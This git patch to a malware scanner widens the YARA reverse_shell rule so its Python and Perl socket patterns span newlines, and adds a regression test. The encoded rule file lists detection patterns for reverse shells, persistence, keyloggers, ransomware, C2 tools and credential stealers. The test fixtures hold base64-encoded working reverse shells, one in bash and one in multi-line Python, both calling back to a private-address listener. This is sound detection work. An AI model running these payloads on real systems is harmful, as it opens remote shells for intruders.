From 6a3cd51f18b09ac0b351c26135ac419ff869efeb Mon Sep 17 00:00:00 2001 From: Udaya Tejas Date: Sun, 20 Sep 2026 01:57:17 +0000 Subject: [PATCH] fix(yara): make reverse-shell socket strings span newlines MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit $python_socket and $perl_socket in the built-in reverse_shell rule (src/skillspector/yara_rules/malware.yar.b64) use `.*` between the socket-family constant and the connect call with no dotall modifier. YARA's `.` does not match `\n` by default, so the pattern only matches when the whole snippet is on one physical line. A reverse shell bundled as a script file (rather than passed to `python3 -c '...'` / `perl -e '...'`) writes socket.socket(...) and .connect(...) as separate statements and the rule never fires — reverse_shell falls back to any of the other, unrelated strings in the same rule, so a plain multi-line Python or Perl socket reverse shell with no other telltale string is scored SAFE. Add `s` (dotall) with a bounded {0,200} gap on both strings so the match still requires the socket call and the connect call to be close together, rather than opening an unbounded any-file-wide match that would trade the false negative for a false positive. Signed-off-by: Udaya Tejas --- src/skillspector/yara_rules/malware.yar.b64 | 151 ++++++++++---------- tests/nodes/analyzers/test_static_yara.py | 35 +++++ 2 files changed, 111 insertions(+), 75 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index d0b072f41..4dcd62508 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,78 +12,79 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg -PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr -ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1 -YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg -ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl -dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0 -XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg -ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog -ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UNCnsNCiAg -ICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5jZSB3aXRo -IG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0aW9uLCBo -aWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg -IHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAg -cmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0K -ICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRkXHMrLiot -b1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9jcm9udGFi -XHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNzaF9pbmpl -Y3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9j -YXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhlY1N0YXJ0 -LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3BlcnNpc3Qg -ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRwcm9maWxl -X3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQogICAgICAg -ICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxyZXZlcnNl -KS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FELipcLnNv -LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg -a2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9 -ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIg0KICAg -ICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAg -ICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlucHV0ICAg -ICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0KICAgICAg -ICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3JlbGVhc2Up -LyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3QvIG5vY2Fz -ZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5vY2FzZQ0K -ICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2luZG93c0hv -b2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv -ZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6DQogICAg -ICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBlbmNyeXB0 -aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAg -ICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCguKlwuKGVu -Y3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc -cysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2VuZFxzKy4q -YnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1lXHMqXCgu -KlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8NCiAgICAg -ICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydcIl13Ylsn -XCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGMy -X2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24g -PSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0IFN0cmlr -ZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2Fy -ZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAi -MC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3Np -Z25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtlICA9ICJj -b2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0ZXJwcmV0 -ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxv -YWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAgID0gL3Bv -d2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9IC9zbGl2 -ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3ZlbmFudCAg -ICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAgICRoYXZv -Y19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAgICAgICAg -JGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4qd2F0ZXJt -YXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy -dWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIklu -Zm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywgYnJvd3Nl -ciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2 -ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl -cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dpblxzKkRh -dGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpzb24uKmZp -cmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVzLiooY2hy -b21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0ZWFsICAg -ICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAgID0gIm1p -bWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWduZSIgbm9j -YXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxcc2FtLyBu -b2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nhc2UNCiAg -ICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo= +XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC9zDQogICAgICAgICRwZXJs +X3NvY2tldCAgICAgID0gL3VzZVxzK1NvY2tldDsuezAsMjAwfXNvY2tldFxzKlwoXHMqU09DSy9z +DQogICAgICAgICRwaHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgv +IG5vY2FzZQ0KICAgICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xz +KlwoLipleGVjXHMqXCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3Rc +cytTeXN0ZW1cLk5ldFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0 +X3NoZWxsICAgICAgPSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAg +ICAgICAgJG1rZmlmb19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3No +Lw0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9v +cl9wZXJzaXN0ZW5jZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tk +b29yIHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywg +U1NIIGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkg +PSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5j +ZSA9ICIwLjc1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIz +eDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAg +ICAgID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVy +c2lzdCAgICAgID0gL2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2Fz +ZQ0KICAgICAgICAkc3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwv +YXV0aG9yaXplZF9rZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xb +U2VydmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAg +ICAgICRiYXNocmNfcGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nh +c2UNCiAgICAgICAgJHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9m +aWxlLyBub2Nhc2UNCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5k +XC8uKihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAg +ID0gL0xEX1BSRUxPQUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55 +IG9mIHRoZW0NCn0NCg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQog +ICAgICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMg +b3Igc291cmNlIGNvZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNl +dmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6 +DQogICAgICAgICRweW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2lt +cG9ydC8gbm9jYXNlDQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3By +ZXNzfGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAv +eGlucHV0XHMrdGVzdC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlz +XHMrLS1zdGFydC8gbm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNL +ZXlTdGF0ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRp +dGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9y +DQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBh +dHRlcm5zIChtYXNzIGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5 +ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25m +aWRlbmNlID0gIjAuOCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAv +b3NcLndhbGtccypcKC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUg +ICAgPSAvKHlvdXJccytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxz +Ky4qYml0Y29pbnxzZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAg +ID0gL29zXC5yZW5hbWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxl +bmMpWyciXVxzKlwpLw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4q +b3BlblxzKlwoLipbJ1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv +ZiB0aGVtDQp9DQoNCnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0K +ICAgICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRp +Y2F0b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAg +ICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAg +ICAgICAgY29uZmlkZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9n +aXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAg +JGNvYmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnBy +ZXRlciAgICA9ICJtZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9 +IC9tZXRhc3Bsb2l0LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAk +ZW1waXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNs +aXZlcl9jMiAgICAgID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UN +CiAgICAgICAgJGNvdmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBu +b2Nhc2UNCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZl +cikvIG5vY2FzZQ0KICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2 +ZXJ8UHVibGljS2V5Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAg +IGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAg +ICAgZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlh +bCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJt +YWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0g +IjAuNzUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9z +aWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9 +IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAg +ID0gL2xvZ2luc1wuanNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tp +ZXMgID0gL0Nvb2tpZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAg +ICAgICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1p +bWlrYXR6ICAgICAgICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAg +ICAgICA9ICJsYXphZ25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVn +XHMrc2F2ZVxzKy4qXFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9u +dGRzXC5kaXQvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0N +Cg== diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 9022f2eec..268120ae3 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -90,6 +90,23 @@ def _reverse_shell_fixture() -> str: return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode() +def _multiline_python_socket_reverse_shell_fixture() -> str: + """A Python reverse shell written the way it appears in a real script file. + + Deliberately multi-line (``socket.socket(...)`` and ``.connect(...)`` on + separate statements) rather than the single-line ``python3 -c '...'`` form, + since that is how this exact payload is written when bundled as a file + rather than passed inline to an interpreter. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgc3VicHJvY2Vzcywgb3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja" + "2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLj" + "EiLCA0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpvcy5kdXAyKHMuZmlsZW5vKCk" + "sIDEpCm9zLmR1cDIocy5maWxlbm8oKSwgMikKc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9z" + "aCIsICItaSJdKQo=" + ).decode() + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) @@ -592,6 +609,24 @@ def test_builtin_malware_finding_preserved(self): assert _has_rule(findings, "reverse_shell") assert any(f.rule_id == "YR1" for f in findings) + def test_reverse_shell_rule_matches_multiline_python_socket(self): + """The python_socket string must span the newlines a real script uses. + + A Python reverse shell bundled as a file writes ``socket.socket(...)`` + and ``.connect(...)`` as separate statements, not on one line — see + `_multiline_python_socket_reverse_shell_fixture`. Without ``s`` (dotall) + on the ``$python_socket``/``$perl_socket`` strings in + ``malware.yar.b64``, YARA's `.` does not match ``\\n`` and this rule + never fires on that shape, even though the file it should have flagged + is unambiguously a working reverse shell. + """ + findings = _run_builtin( + _multiline_python_socket_reverse_shell_fixture(), + "scripts/sync.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path,